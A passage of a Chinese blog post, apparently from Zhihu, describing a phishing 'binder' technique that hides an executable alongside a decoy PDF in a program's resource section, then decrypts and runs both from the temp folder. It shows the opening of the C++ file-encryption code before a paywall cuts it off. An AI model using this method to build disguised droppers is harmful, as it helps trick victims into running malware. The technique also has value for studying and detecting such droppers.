作者:coleak
链接:https://www.zhihu.com/question/593440315/answer/3456418014
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
前记
看到奇安信某篇钓鱼捆绑技术的文章后得到启发,于是开始学习探索
浅谈原理
将exe和pdf或者其他格式的文件写到资源节中,执行捆绑文件的时候动态获取并解密资源节的内容保存到磁盘的tmp目录,最后执行保存到磁盘的文件即可
代码汇总
加密文件
#include<windows.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
int r = 100;
HANDLE file = CreateFileA(argv[1], GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 size = GetFileSize(file, NULL);
char* bytes =(char*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
ReadFile(file, bytes, size, NULL, NULL);
HANDLE fil

最低0.47元/天 解锁文章
809

被折叠的 条评论
为什么被折叠?



